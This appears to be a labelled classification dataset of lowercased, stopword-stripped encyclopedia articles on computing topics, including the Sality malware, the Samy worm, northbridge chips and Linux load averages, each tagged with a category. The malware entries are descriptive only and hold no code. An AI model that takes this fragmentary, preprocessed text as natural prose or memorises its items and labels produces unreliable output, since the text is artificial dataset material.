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hashclash hashclash distributed computing project find collisions md5 hash algorithm based department mathematics computer science eindhoven university technology marc stevens initiated project part master degree thesis project ended stevens defended m.sc thesis june 2007 however sha1 added later code repository ported git 2017 project used create rogue certificate authority certificate 2009
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Computer security
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gridway gridway open-source meta-scheduling technology enables large-scale secure reliable efficient sharing computing resources clusters computing farms servers supercomputers ... managed different distributed resource management systems drms sge htcondor pbs lsf within single organization enterprise grid scattered across several administrative domains partner supply-chain grid end gridway supports several grid middlewares gridway provides end users application developers scheduling framework similar found local drms allowing submit monitor synchronize control jobs means drms-like command line interface gwsubmit gwwait gwkill ... drmaa ogf standard gridway performs job execution management resource brokering allowing unattended reliable efficient execution jobs array jobs complex jobs heterogeneous dynamic loosely coupled grids gridway performs job scheduling submission steps transparently end user adapts job execution changing grid conditions providing fault recovery mechanisms dynamic scheduling migration on-request opportunistic migration gridway framework light component meta-scheduling grid ecosystem intended end users grid application developers
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Distributed computing architecture
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stuart feldman stuart feldman creator computer software program make unix systems also author first fortran 77 compiler part original group bell labs created unix operating system feldman head schmidt sciences foundation schmidt philanthropies member dean external advisory board university michigan school information previously vice president engineering east coast google vice president computer science ibm research feldman served board computing research association cra association advance collegiate schools business aacsb international chair acm sigplan founding chair acm sigecom elected president acm 2006 feldman also member editorial advisory board acm queue magazine helped found steve bourne also served editorial boards ieee internet computing ieee transactions software engineering received a.b astrophysical sciences princeton university ph.d applied mathematics massachusetts institute technology feldman became fellow ieee 1991 fellow acm 1995 2003 awarded acm software system award creation make
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Operating systems
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sality sality classification family malicious software malware infects files microsoft windows systems sality first discovered 2003 advanced years become dynamic enduring full-featured form malicious code systems infected sality may communicate peer-to-peer p2p network form botnet purpose relaying spam proxying communications exfiltrating sensitive data compromising web servers and/or coordinating distributed computing tasks purpose processing intensive tasks e.g password cracking since 2010 certain variants sality also incorporated use rootkit functions part ongoing evolution malware family continued development capabilities sality considered one complex formidable forms malware date majority antivirus a/v vendors use following naming conventions referring family malware sality family polymorphic file infectors target windows executable files extensions .exe .scr sality utilizes polymorphic entry-point obscuring epo techniques infect files using following methods changing entry point address host replacing original host code entry point executable variable stub redirect execution polymorphic viral code inserted last section host file stub decrypts executes secondary region known loader finally loader runs separate thread within infected process eventually load sality payload sality may execute malicious payload deletes files certain extensions and/or beginning specific strings terminates security-related processes services searches user ’ address book e-mail addresses send spam messages contacts remote host sality may also download additional executable files install malware purpose propagating pay per install applications sality may contain trojan components variants may ability steal sensitive personal financial data i.e information stealers generate relay spam relay traffic via http proxies infect web sites achieve distributed computing tasks password cracking well capabilities sality ’ downloader mechanism downloads executes additional malware listed urls received using peer-to-peer component distributed malware may share “ code signature ” sality payload may provide attribution one group and/or share large portion code additional malware typically communicates reports central command control c c servers located throughout world according symantec combination file infection mechanism fully decentralized peer-to-peer network ... make sality one effective resilient malware today threat landscape two versions botnet currently active versions 3 4 malware circulated botnets digitally signed attackers prevent hostile takeover recent years sality also included use rootkit techniques maintain persistence compromised systems evade host-based detections anti-virus software sality infects files affected computer variants use dll dropped computer dll file written disk two forms example dll file contains bulk virus code file extension .dl_ compressed copy recent variants sality virus win32-sality.am drop dll instead load entirely memory without writing disk variant along others also drops driver random file name folder system \drivers malware may also drop sality computer example sality variant detected virus win32-sality.au dropped worm win32-sality.au variants sality may also include rootkit creating device name device\amsint32 \dosdevices\amsint32 sality usually targets files drive c .scr .exe file extensions beginning root folder infected files increase size varying amount virus also targets applications run windows start frequently used applications referenced following registry keys sality avoids infecting particular files order remain hidden computer variants sality infect legitimate files moved available removable drives network shares enumerating network share folders resources local computer files drive c beginning root folder infects files finds adding new code section host inserting malicious code newly added section legitimate file exists malware copy file temporary files folder infect file resulting infected file moved root available removable drives network shares following sality variant also creates autorun.inf file root drives points virus copy drive accessed computer supporting autorun feature virus launched automatically sality variants may also drop file .tmp file extension discovered network shares resources well drop .lnk file run dropped virus microsoft identified dozens files commonly associated malware
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Computer security
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dyne bolic dyne bolic gnu/linux live cd/dvd distribution based linux kernel shaped needs media activists artists creators practical tool focus multimedia production delivers large assortment applications allows manipulation broadcast sound video tools record edit encode stream addition multimedia specific programs dyne bolic also provides word processors common desktop computing tools termed rastasoft author based entirely free software recognized gnu project dyne bolic created volunteers author maintainer jaromil also included multimedia tools like muse hasciicam freej distribution dyne bolic intended used live cd/dvd require installation hard drive attempts recognize devices peripherals sound video tv etc automatically designed work older slower computers kernel optimized low latency performance making distribution suitable audio video production turning pcs full media stations reason software included sometimes newest version available dyne bolic extended downloading extra modules development tools common software like openoffice.org squashfs files placed modules/ directory dock see burnt cd automatically integrated boot basic system requirements version 1.x 2.x relatively low pc pentium amd k5 i586 class cpu 64 mb ram ide cd-rom drive sufficient versions dyne bolic 1.x ported co-developer smilzo used xbox game console multiple xbox installations could clustered console installation clustering currently supported version 2.x version 3.0 codenamed munir higher system requirements former releases first comes dvd image pentium ii amd k6-2 class processor 256 mb ram ide/sata dvd-rom drive recommended harddisk needed released september 8 2011 user copies dyne/ directory cd/dvd suitably formatted partition drive called docking file system recognised booted cd dvd option install gnu grub bootloader edit existing one booting floppy disk supported user settings saved disc usb flash drive writable image file containing /home /etc filesystem described nesting also encrypted better privacy version 3.0 currently dyne bolic 3.0 beta 4 uses linux kernel 3.0.1 dvd-rom image 1.65 gb gnome 2 used desktop interface grub2 boot loader version latest 2.5.2 uses linux kernel 2.6 cd-rom image xfce used desktop interface version used linux kernel 2.4 cd-rom image brought ability create nests docks hard disk usb key features present dyne bolic 1.x dropped later
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Operating systems
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yie ar kung-fu yie ar kung-fu features protagonist bruce lee-based kung fu master named oolong japanese ウーロン ūron see oolong renamed lee msx famicom ports controlled player oolong must fight martial arts masters given game eleven arcade version five thirteen home ports win title grand master honor memory father side variety punch kick blows reachable combining joystick one buttons punch kick also greatest jumping ability game fighters exception blues player faces variety opponents unique appearance fighting style player perform 16 different moves using combination buttons joystick movements standing crouching jumping moves thrown high middle low levels regardless move defeated male characters save feedle always fall unconscious lying backs legs apart players flail feet female characters always fall lying sides feedle disappears player gains extra life word xiè xiè mandarin thank heard 11 martial arts masters listed fight order hot fighting history masterhand history msx nes port many differences arcade counterpart hero called lee faces 5 opponents two hidden characters game boy advance access player must input famous konami code title screen characters available special two-player mode found collection fighters bishoo woman dressed white attacks daggers clayman living statue attacks sword bigger sword hidden character mobile phone version katana samurai attacks katana shawn appears msx nes version yie ar kung-fu subsequently widely ported platforms including msx family computer commodore 64 zx spectrum amstrad cpc bbc micro emulated version game released 2005 playstation 2 japan part oretachi geasen zoku sono -series released xbox live arcade xbox 360 july 18 2007 updated graphics nintendo ds recent years game re-released tv game products 1987 game included compilation konami coin-op hits hyper sports green beret mikie nes version relaunched game boy color part konami gb collection vol 4 sega saturn playstation arcade version yie ar kung-fu made available microsoft game room service xbox 360 console windows-based pcs july 2010 msx version yie ar kung-fu released d4 enterprise project egg service october 28 2014 japan game commercial success europe went number 2 uk sales charts behind capcom commando yie ar kung fu went become second best-selling computer game 1986 united kingdom number-two overall 1986 chart sequel yie ar kung-fu ii released year later sequel released home computers never ported arcades another fighting game konami martial champion originally planned released yie ar kung-fu 2 fact jin protagonist martial champion modeled lee protagonist nes msx versions ryu 1987 street fighter arcade game
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Computer architecture
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northbridge computing northbridge host bridge one two chips core logic chipset architecture pc motherboard southbridge unlike southbridge northbridge connected directly cpu via front-side bus fsb thus responsible tasks require highest performance northbridge also known memory controller hub usually paired southbridge systems included two chips manage communications cpu parts motherboard constitute core logic chipset pc motherboard older intel based pcs northbridge also named external memory controller hub mch graphics memory controller hub gmch equipped integrated graphics increasingly functions became integrated cpu chip beginning memory graphics controllers intel sandy bridge amd accelerated processing unit processors introduced 2011 functions northbridge reside cpu amd fx cpus still require external northbridge southbridge chips separating different functions cpu northbridge southbridge chips due difficulty integrating components onto single chip instances northbridge southbridge functions combined onto one die design complexity fabrication processes permitted example nvidia geforce 320m 2010 macbook air northbridge/southbridge/gpu combo chip cpu speeds increased time bottleneck eventually emerged processor motherboard due limitations caused data transmission cpu support chipset accordingly starting amd athlon64 series cpus based opteron new architecture used functions north- southbridge chips moved cpu modern intel core processors northbridge integrated cpu die known uncore system agent northbridge typically handles communications among cpu cases ram pci express agp video cards southbridge northbridges also contain integrated video controllers also known graphics memory controller hub gmch intel systems different processors ram require different signaling given northbridge typically work one two classes cpus generally one type ram chipsets support two types ram generally available shift new standard example northbridge nvidia nforce2 chipset work socket processors combined ddr sdram intel i875 chipset work systems using pentium 4 processors celeron processors clock speed greater 1.3 ghz utilize ddr sdram intel i915g chipset works intel pentium 4 celeron use ddr ddr2 memory name derived drawing architecture fashion map cpu would top map comparable due north general purpose geographical maps cpu would connected chipset via fast bridge northbridge located north system devices drawn northbridge would connected rest chipset via slow bridge southbridge located south system devices drawn northbridge plays important part far computer overclocked frequency commonly used baseline cpu establish operating frequency chip typically gets hotter processor speed becomes faster requiring cooling limit cpu overclocking digital circuits limited physical factors rise fall delay storage times transistors current gain bandwidth product parasitic capacitance propagation delay increases among factors operating temperature consequently overclocking applications software-imposed limits multiplier external clock setting additionally heat major limiting factor higher voltages needed properly activate field effect transistors inside cpus higher voltage produces larger amounts heat requiring greater thermal solutions die overall trend processor design integrate functions onto fewer components decreases overall motherboard cost improves performance memory controller handles communication cpu ram moved onto processor die amd beginning amd64 processors intel nehalem processors one advantages memory controller integrated cpu die reduce latency cpu memory another example kind change nvidia nforce3 amd64 systems combines features normal southbridge accelerated graphics port agp port connects directly cpu nforce4 boards marketed media communications processor mcp amd accelerated processing unit processors feature full integration northbridge functions onto cpu chip along processor cores memory controller graphics processing unit gpu evolution amd64 since memory controller integrated cpu die amd64 northbridge replaced system agent introduced sandy bridge microarchitecture 2011 essentially handles previous northbridge functions intel ’ sandy bridge processors feature full integration northbridge functions onto cpu chip along processor cores memory controller graphics processing unit gpu evolution westmere architecture also featured cpu gpu package
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Computer architecture
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load computing unix unix-like systems generate dimensionless metric three load average numbers kernel users easily query current result unix shell running uptime command w top commands show three load average numbers range graphical user interface utilities linux also accessed reading codice_1 file idle computer load number 0 idle process n't counted process using waiting cpu ready queue run queue increments load number 1 process terminates decrements 1 unix systems count processes running cpu runnable waiting cpu states however linux also includes processes uninterruptible sleep states usually waiting disk activity lead markedly different results many processes remain blocked i/o due busy stalled i/o system example includes processes blocking due nfs server failure slow media e.g. usb 1.x storage devices circumstances result elevated load average reflect actual increase cpu use still gives idea long users wait systems calculate load average exponentially damped/weighted moving average load number three values load average refer past one five fifteen minutes system operation mathematically speaking three values always average system load since system started decay exponentially decay different speeds decay exponentially e 1 5 15 minutes respectively hence 1-minute load average consists 63 precisely 1 1/ e load last minute 37 1/ e average load since start excluding last minute 5- 15-minute load averages 63 /37 ratio computed 5 minutes 15 minutes respectively therefore technically accurate 1-minute load average includes last 60 seconds activity includes 37 activity past correct state includes mostly last minute single-cpu systems cpu bound one think load average measure system utilization respective time period systems multiple cpus one must divide load number processors order get comparable measure example one interpret load average 1.73 0.60 7.98 single-cpu system means system cpu disk memory etc could handled work scheduled last minute 1.73 times fast system four cpus load average 3.73 would indicate average 3.73 processes ready run one could scheduled cpu modern unix systems treatment threading respect load averages varies systems treat threads processes purposes load average calculation thread waiting run add 1 load however systems especially systems implementing so-called use different strategies counting process exactly purpose load regardless number threads counting threads currently exposed user-thread scheduler kernel may depend level concurrency set process linux appears count thread separately adding 1 load comparative study different load indices carried ferrari et al reported cpu load information based upon cpu queue length much better load balancing compared cpu utilization reason cpu queue length better probably host heavily loaded cpu utilization likely close 100 unable reflect exact load level utilization contrast cpu queue lengths directly reflect amount load cpu example two systems one 3 6 processes queue likely utilizations close 100 although obviously differ linux systems load-average calculated clock tick driven variable value based hz frequency setting tested clock tick hz variable pulse rate particular linux kernel activity 1 hz equal one clock tick 10ms default although hz value configured versions kernel normally set 100 calculation code uses hz value determine cpu load calculation frequency specifically timer.c :calc_load function run algorithm every 5 hz roughly five times per second following function entirety countdown 5 hz avenrun array contains 1-minute 5-minute 15-minute average macro associated values defined sched.h commands assessing system performance include
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Operating systems
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object code computing object code object module product compiler general sense object code sequence statements instructions computer language usually machine code language i.e. binary intermediate language register transfer language rtl term indicates code goal result compiling process early sources referring source code subject program object files turn linked form executable file library file order used object code must either placed executable file library file object file object code portion machine code yet linked complete program machine code one particular library module make completed product may also contain placeholders offsets found machine code completed program linker use connect everything together whereas machine code binary code executed directly cpu object code jumps partially parameterized linker fill assembler used convert assembly code machine code object code linker links several object library files generate executable assemblers also assemble directly machine code executable files without object intermediary step
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Computer architecture
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epassport gates epassport gates automated self-service barriers automated border control system operated united kingdom border force located immigration checkpoints arrival halls airports across uk international railway terminals abroad offering alternative using desks staffed immigration officers gates use facial recognition technology verify traveller identity data stored chip biometric passport well run data numerous databases determine traveller security risk british citizens european economic area swiss citizens aged 12 holding biometric passports eligible use epassport gates epassport gates usually marked symbol holder nationality shown british overseas territories citizen british overseas citizen british subject british national overseas british protected person holder able use epassport gates travellers using passports hong kong taiwan enrolled registered traveller service use epassport gates provided aged either 18 12 travelling adult holding valid biometric passports epassport gates accept national identity cards use epassport gates traveller must biometric passport united kingdom certain countries epassports biometric logo front cover epassport gate scanner reads information contained chip inside passport camera takes picture traveller officer control station behind gates checks image captured camera matches one passport facial recognition data verification facial recognition process complete doors automatically either open signifying traveller permitted enter and/or exit country remain closed stop icon illuminate demonstrating traveller failed security checks personally meet immigration officials present epassport gates available following locations
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Databases
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openconnect openconnect open-source software application connecting virtual private networks vpn implement secure point-to-point connections originally written open-source replacement cisco proprietary anyconnect ssl vpn client supported several cisco routers openconnect project also offers anyconnect-compatible server ocserv thus offers full client-server vpn solution openconnect client added support juniper networks ssl vpn version 7.05 fork developed support palo alto networks globalprotect vpn included version 8.00 release cisco anyconnect vpns utilize tls authenticate configure routing dtls efficiently encrypt transport tunneled vpn traffic fall back tls-based transport firewalls block udp-based traffic dtls protocol used cisco anyconnect servers based non-standard pre-release draft dtls 1.0 support dtls 1.2 standard added 2018 openconnect ocserv implement extended version anyconnect vpn protocol proposed internet standard within open-source project unaffiliated cisco openconnect ocserv strive maintain seamless backwards-compatibility cisco anyconnect servers clients openconnect client also implements juniper globalprotect vpn protocols similar structure anyconnect protocol authenticate configure routing tls except use esp efficient encrypted transport tunneled traffic instead dtls fall back tls-based transport openconnect client written primarily c contains much infrastructure necessary add additional vpn protocols operating similar flow connect via common user interface openconnect available solaris linux openbsd freebsd macos graphical user interface clients windows 2000/xp/vista/7 gnome kde graphical client openconnect also available android devices integrated router firmware packages openwrt useful usage information
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Computer security
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cryptographic service provider microsoft windows cryptographic service provider csp software library implements microsoft cryptoapi capi csps implement encoding decoding functions computer application programs may use example implement strong user authentication secure email csps independent modules used different applications user program calls cryptoapi functions redirected csps functions since csps responsible implementing cryptographic algorithms standards applications need concerned security details furthermore one application define csp going use calls cryptoapi fact cryptographic activity implemented csps cryptoapi works bridge application csp csps implemented basically special type dll special restrictions loading use every csp must digitally signed microsoft signature verified windows loads csp addition loaded windows periodically re-scans csp detect tampering either malicious software computer viruses user him/herself trying circumvent restrictions example cryptographic key length might built csp code obtain signature non-microsoft csp developers must supply paperwork microsoft promising obey various legal restrictions giving valid contact information circa 2000 microsoft charge fees supply signatures development testing purposes csp developer configure windows recognize developer signatures instead microsoft somewhat complex obscure operation unsuitable nontechnical end users capi/csp architecture origins era restrictive us government controls export cryptography microsoft default base csp included windows limited 512-bit rsa public-key cryptography 40-bit symmetric cryptography maximum key lengths permitted exportable mass market software time csps implementing stronger cryptography available u.s. residents unless csps received u.s. government export approval system requiring csps signed presentation completed paperwork intended prevent easy spread unauthorized csps implemented anonymous foreign developers presented concession made microsoft government order get export approval capi bernstein v. united states court decision establishing computer source code protected free speech transfer cryptographic regulatory authority u.s. state department pro-export commerce department restrictions key lengths dropped csps shipped windows include full-strength cryptography main use third-party csps interface external cryptography hardware hardware security modules hsm smart cards cryptographic functions realised smart card thus smart card csp microsoft way pkcs 11 microsoft windows identifying correct smart card csp used analysing answer reset atr smart card registered windows registry installing new csp atrs supported smart cards enlisted registry cryptographic service providers used encryption word excel powerpoint documents starting microsoft office xp standard encryption algorithm 40-bit key used default enabling csp enhances key length thus makes decryption process continuous applies passwords required open document password type one encrypts password-protected document
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Operating systems
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urbiscript urbiscript programming language robotics features syntactic support concurrency event-based programming prototype-based object-oriented scripting language dynamic name resolution performed program execution late binding slots member variables added/removed runtime even prototypes superclasses object changed runtime memory management performed reference counting tightly bound urbi platform supports seamless integration c++/java components syntactical point view urbiscript belongs c-family programming languages prototype-based object-oriented design influenced self io programming languages designed program also interact robots influenced unix shells languages provide read-eval-print loop style interactive toplevel however contrary others prompt user input answers system prefixed timestamp milliseconds square brackets urbiscript statements include among others actually contrary c-like languages despite syntax suggests statements value therefore expressions provided embedded braces urbiscript control-flow constructs come several flavors two types sequential composition two types concurrent composition hood concurrency implemented using coroutines like c semicolon denotes sequential composition codice_13 stands run statement codice_14 run statement codice_15 tasks may run codice_14 codice_15 another statement separator pipe denotes tight sequential composition task run codice_14 codice_15 codice_20 similarly urbiscript features two means compose statements concurrently codice_21 first codice_14 run point codice_15 -- possibly codice_14 still running similar codice_25 operator unix shells alternatively codice_26 codice_14 codice_15 started together interactive sessions means codice_14 wo n't run codice_15 fully entered properly followed either codice_31 codice_32 scopes boundaries backgrounded jobs demonstrated following example looping constructs urbiscript come several flavors based four statement separators codice_31 codice_34 codice_32 codice_25 instance displays i.e. loop bodies executed sequentially codice_37 keyword runs loop bodies concurrently aiming development portable robotic applications urbiscript relies specific syntactic constructs specify reactive behaviors go charging dock battery low play friendly sound known face recognized stop obstacle detected event handling goes three steps first define event second specify event handlers third emit event events payloads event handlers enjoy pattern matching payload urbiscript language also allows monitor expressions following example demonstrates feature
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Programming language topics
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national cybersecurity ffrdc national cybersecurity ffrdc ncf federally funded research development center operated mitre corporation supports u.s. national institute standards technology national cybersecurity center excellence ncf first march 2017 federally funded research development center dedicated solely cybersecurity national cybersecurity ffrdc located 9700 great seneca hwy rockville maryland ncf mission increase cybersecurity business community providing practical guidance increasing adoption rate secure technologies accelerating innovation supports department commerce goal protecting economy ncf also fosters public-private collaborations identify solve cybersecurity threats nist ’ work others program non-profits federal state local agencies access cybersecurity technologies talent ncf contract operate ffrdc awarded september 2014 nist mitre corporation press release stated ffrdcs operate public interest required free organizational conflicts interest well bias toward particular company technology product—key attributes given nccoe ’ collaborative nature…the first three task orders contract allowed nccoe expand efforts developing use cases building blocks provide operations management facilities planning
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Computer security
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extension language kit extension language kit elk free scheme implementation embeddable c c++ programs also used stand-alone scheme interpreter available custom permissive license use commercial noncommercial elk written oliver laumann carsten bormann provide extension language development large c++-based systems oda document editor isotext videoconferencing system teles.vision inspired lisp interpreter emacs turn helped inspire developers dynamic language interpreters matz ruby interpreter 2005 sam hocevar became current maintainer elk scheme project merging contributed patches fixing known bugs
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Programming language topics
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nettop nettop miniature pc mini pc smart micro pc small-sized inexpensive low-power legacy-free desktop computer designed basic tasks web browsing accessing web-based applications document processing audio/video playback word nettop portmanteau network desktop desktop counterpart netbook compared ordinary desktop computers nettops smaller cheaper also consume much less power example compulab fit-pc2 consumes 8 watts power whereas typical desktop would easily consume 100 watts power consequently nettops require significantly less cooling may even completely fanless optical disk drive use solid state drive making completely silent tradeoff hardware specifications processing power usually reduced hence make nettops less appropriate running complex resource-intensive applications nettops mini pcs could considered unusual history first wave devices occurred mid late 2000s commonly referred nettops included devices acer aspirerevo seen commonly considered kind temporary substitute pc lower cost users needing second pc use developing countries another commonly held view time use stepping stone towards thin client-based always online computer would replace inefficient pcs demand devices quickly waned industry responded addressing chief complaint devices would better portable devices new form laptop result netbook device considered true future nettop however prevailing attitudes economic issues 2008 onward made popular due low cost portability along then-expanding feature-set august 2009 reports reviewers netbook time traditional laptop price otherwise identical implications price standard notebooks dropped financial liability due huge unsold inventories standard laptops retail chains unfavorable market unload meant cannibalisation laptop sales netbooks would financially undesirable industry clearance sale also option conditions especially among multiple retail chains online shopping sites factors along desire keep netbook sales going recoup r design manufacturing costs likely contributing factors industry-wide effort sabotage netbooks purposefully limited devices could sold cheaply acting form social engineering towards discrediting netbook devices direct lineage nettops netbooks meant concept net- prefix considered failed idea devices chromebooks tablet pcs ultrabooks devices responded branding different type device chrome os exclusively pure web client proposal ultrabook succeeded compensating lighter weight otherwise equal-performance parts higher price tag 2015 revival concept came likely unrelated source technological form convergent evolution via likely-observed success stick pc idea combining system chip single-board computer led continuation nettop original product goals mini pcs minix z83-4 azulle access plus exclusively referred mini pcs despite identical near-identical paper nettop architecture three platforms primarily intended nettops netbooks nettops also adopted system-on-a-chip designs although many major parts chipsets video cards storage devices also found desktops cpus put inside nettops fundamental component differentiate normal desktops list contains range hardware components typical nettop may assembled intel atom processor adopted several hardware manufacturers asus msi sony nettops nvidia also released first generation ion platform puts geforce 9400m motherboard gpu alongside atom processor provide better high definition video playback ability lower power consumption addition nvidia announced support via cpus year reduce manufacturing cost improve power efficiency many manufacturers start-up companies chosen use cpus originally targeted embedded computing devices amd geode arm cortex-based cpus many net-top models x86-processor-based capable running standard pc oses also operating systems designed specifically nettops machines performance class high-end nettops capable running windows 10 google android linux distribution another option although google android originally designed smartphones also taken seat nettop market another linux system ubuntu nettops fell intel category basic pc usually cost 100 299 intel described nettops large potential market time nettops said able serve affordable first computer people developing countries environmentally friendly choice secondary computer people developed countries however stated primary flaw average consumer far useful portable system led development netbooks midst economic crisis netbooks seen hurting sales traditional laptops likely collaborative effort destroy demand hence original source computer class died marketplace result successes stick pcs linux mint-based nettop-like computers well continued success mac mini idea possibly unintentionally revived mini pcs continue sold online retailers august 2017
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Distributed computing architecture
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samy computer worm samy also known js.spacehero cross-site scripting worm xss worm designed propagate across social networking site myspace samy kamkar within 20 hours october 4 2005 release one million users run payload making samy fastest spreading virus time worm relatively harmless carried payload would display string samy hero victim myspace profile page well send samy friend request user viewed profile page payload would replicated planted profile page continuing distribution worm myspace since secured site vulnerability samy kamkar author worm raided united states secret service electronic crimes task force 2006 releasing worm entered plea agreement january 31 2007 felony charge action resulted kamkar sentenced three years probation one computer use internet 90 days community service 15,000- 20,000 usd restitution directly reported samy kamkar greatest moments hacking history vice media video website motherboard
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Programming language topics
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natural-language user interface natural-language user interface lui nlui type computer human interface linguistic phenomena verbs phrases clauses act ui controls creating selecting modifying data software applications interface design natural-language interfaces sought speed ease use suffer challenges understanding wide varieties ambiguous input natural-language interfaces active area study field natural-language processing computational linguistics intuitive general natural-language interface one active goals semantic web text interfaces natural varying degrees many formal un-natural programming languages incorporate idioms natural human language likewise traditional keyword search engine could described shallow natural-language user interface natural-language search engine would theory find targeted answers user questions opposed keyword search example confronted question form 'which u.s. state highest income tax conventional search engines ignore question instead search keywords 'state 'income 'tax natural-language search hand attempts use natural-language processing understand nature question search return subset web contains answer question works results would higher relevance results keyword search engine prototype nl interfaces already appeared late sixties early seventies natural-language interfaces past led users anthropomorphize computer least attribute intelligence machines warranted part user led unrealistic expectations capabilities system expectations make difficult learn restrictions system users attribute much capability ultimately lead disappointment system fails perform expected case ai winter 1970s 80s 1995 paper titled 'natural language interfaces databases – introduction describes challenges goals consider generally speed efficiency interface algorithms two points main point determine methods better others therefore greater success market addition localisation across multiple language sites requires extra consideration based differing sentence structure language syntax variations languages finally regarding methods used main problem solved creating general algorithm recognize entire spectrum different voices disregarding nationality gender age significant differences extracted features even speakers says word phrase must successfully overcome natural-language interface gives rise technology used many different applications main uses named defined applications use natural-language recognition integrated utilities listed ubiquity add-on mozilla firefox collection quick easy natural-language-derived commands act mashups web services thus allowing users get information relate current webpages wolfram alpha online service answers factual queries directly computing answer structured data rather providing list documents web pages might contain answer search engine would announced march 2009 stephen wolfram released public may 15 2009 siri intelligent personal assistant application integrated operating system ios application uses natural language processing answer questions make recommendations siri marketing claims include adapts user individual preferences time personalizes results performs tasks making dinner reservations trying catch cab
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Computational linguistics
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core security technologies core security american computer network security company provides attack intelligence platform vulnerability management network penetration testing measurement software products services company ’ research arm corelabs proactively identifies new security vulnerabilities publishes public vulnerability advisories works vendors assist eliminating exposures find february 2019 helpsystems acquired core security products secureauth helpsystems minnesota-based software company working areas systems network management business intelligence security compliance 1996 core security founded buenos aires argentina one year later corelabs research group established published first advisory core conducted first penetration test u.s. company 1998 year core security recognized endeavor entrepreneur endeavor foundation foundation supports entrepreneurial projects emerging markets 2000 company first u.s. office opened new york ny two years later core released first second versions flagship penetration testing product core impact pro 2003 company u.s. headquarters relocated new york boston five years later mark hatton became ceo core security 2009 core adds development sites boston india one year later core announced beta new security testing measurement product core insight 2012 core announces partnership ncircle year core announces partnership nt objectives 2013 core security named 2013 inc. 500/5000 list 2014 core security adds intrinium partner program extends reach pacific northwest year core security announced latest version core attack intelligence platform also 2014 core security information security magazine searchsecurity.com 2014 readers choice awards excellence vulnerability management december 2015 core security acquired identity access management iam company courion may 2016 courion rebranded core security name july 2016 core security technologies acquired damballa us 9 million 2017 core security merged secureauth 2019 helpsystems acquired core security solutions secureauth damballa founded 2006 atlanta georgia merrick furst associate dean georgia institute technology georgia tech college computing joined two georgia tech colleagues wenke lee david dagon company named damballa vodou snake god protects zombies implication damballa protects “ zombie ” computers operating part botnets according site damballa seeks primarily corporate clients isp damballa ’ product offerings damballa advanced threat protection solution enterprises damballa failsafe detects successful infections certainty terminates threat activity gives incident response intelligence needed rapidly prevent data breaches damballa failsafe able detection malicious files malware track suspicious behavior time network delivering actionable information known unknown threats regardless infection ’ source entry vector os device provides incident responders definitive evidence rapidly prevent loss high-risk devices blocking activity rest recommended advanced threat protection shortlist buyer guide 2015 damballa csp designed service providers isps identifies malicious activity originating subscriber ’ devices whether pc tablet mobile damballa csp sits out-of-band inside service provider ’ network monitors dns requests non-pii traffic subscriber ’ ip address enables identify subscriber devices infected advanced malware 2013 damballa granted first two patents related detecting advanced threats patent 8,566,928 describes methods detecting first network compromised computers second network computers patent 8,578,497 describes methods analyzing domain names registered collected asset real network february 2014 company granted third patent us20120198549 method system detecting malicious domain names upper dns hierarchy describes methodology identifying potential malicious domain names used propagate threats according website core security research department core labs conducts research system vulnerabilities cyber attack planning simulation source code auditing cryptography core labs publishes security advisories technical papers project information shared software tools public use researchers participating security research conferences including black hat briefings
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Computer security
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motorola 88000 88000 m88k short risc instruction set architecture isa developed motorola 1980s 88000 arrived market 1988 two years competing sparc mips due late start extensive delays releasing second-generation mc88110 m88k achieved limited success outside mvme platform embedded controller environments motorola joined aim alliance 1991 develop powerpc development 88000 ended originally called 78000 homage famed 68000 series design went tortuous development path including number change finally emerging april 1988 initial version 88100 generally required separate mmu mc88200 88200 added mmu data instruction caches time processors mmu built-in including motorola 68030 returning separate mmu chip step backward 88100/88200 saw little use follow-on version combining cpu mmu planned 88110 late 1980s several companies actively examining 88000 series future use including next apple computer apollo computer given design time 88110 finally available 1990 attempt popularize system 88open group similar sun microsystems attempting sparc design appears failed practical sense early 1990s motorola joined aim effort create new risc architecture based ibm power architecture worked features 88000 new powerpc architecture offer customer base sort upgrade path point 88000 dumped soon possible like 68000 88000 considered clean design pure 32-bit load/store architecture using separate instruction data caches harvard architecture separate data address buses small powerful command set like motorola cpus use memory segmentation major architectural mistake integer instructions floating-point instructions used register file required single register file sufficient read write ports support integer execution unit floating-point unit connections port additional capacitive load must driven register memory cell made difficult build high frequency superscalar implementations first implementation 88000 isa mc88100 microprocessor included integrated fpu mated mc88200 mmu cache controller idea behind splitting duties allow multiprocessor systems built easily single mc88200 could support four mc88100s however also meant building basic system single processor required chips considerable wiring driving costs likely another major reason 88000 limited success later addressed superscalar mc88110 combined cpu fpu mmu l1 cache single package additional modification made behest mit *t project resulted mc88110mp including on-chip communications use multi-processor systems version capable speeds 100 mhz planned mc88120 never built implementation embedded applications mc88300 development early 1990s eventually canceled ford motor company planned use chips offered powerpc design replacement accepted motorola released series single-board computers known mvme series building box systems based 88000 well series 900 stackable computers employing mvme boards unlike tower rack mount systems series 900 sat top connected one another bus-like cabling concept never caught major 3rd party users limited widespread use would data general aviion series fairly popular remain limited use today later models dg moved intel encore computer built encore-91 machine m88k introduced completely ground-up redesign infinity 90 series unclear many machines sold encore moved alpha gec computers used 88100 build gec 4310 one gec 4000 series computers issues memory management meant n't perform well earlier gate array based am2900 based gec 4000 series computers bbn butterfly model tc-2000 used 88100 processor scaled 512 cpus linotype-hell used 88110 power workstations running davinci raster graphics editor image manipulation 88110 made versions never released next machine next risc workstation project canceled along next hardware projects 1993 4-processor omron luna-88k machines japan used m88k used short time mach kernel project carnegie mellon university early 1990s northern telecom used 88100 88110 central processor dms supernode family telephone switches users much smaller alpha microsystems originally planned migrate 88k architecture motorola 68000 internally created machine around running unix system v later scrapped favour later 68k derivatives ncd used 88100 without 88200 88k x-terminals dolphin server spin-off dying norsk data built servers based 88k around 100 systems shipped 1988-1992 virtuality used 88110 su2000 virtual reality arcade machine graphics processor one 88110 per screen virtual reality headset embedded computer space tri-channel vms computer f-15 s/mtd used three 88000s triply redundant computer motorola released unix system v derivative system v/88 88000-based systems two major releases release 3.2 version 3 release 4.0 version 3. ref name= unix system v/88 /ref data general aviion systems ran dg/ux openbsd ports exist mvme systems ref name= openbsd/mvme88k openbsd/mvme88k /ref luna-88k workstations ref name= openbsd/luna88k openbsd/luna88k /ref data general aviion systems. ref name= openbsd/aviion openbsd/aviion /ref least one unofficial experimental netbsd port exists mvme systems. ref name= netbsd/m88k netbsd/m88k unofficial port netbsd 3.x /ref
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Computer architecture
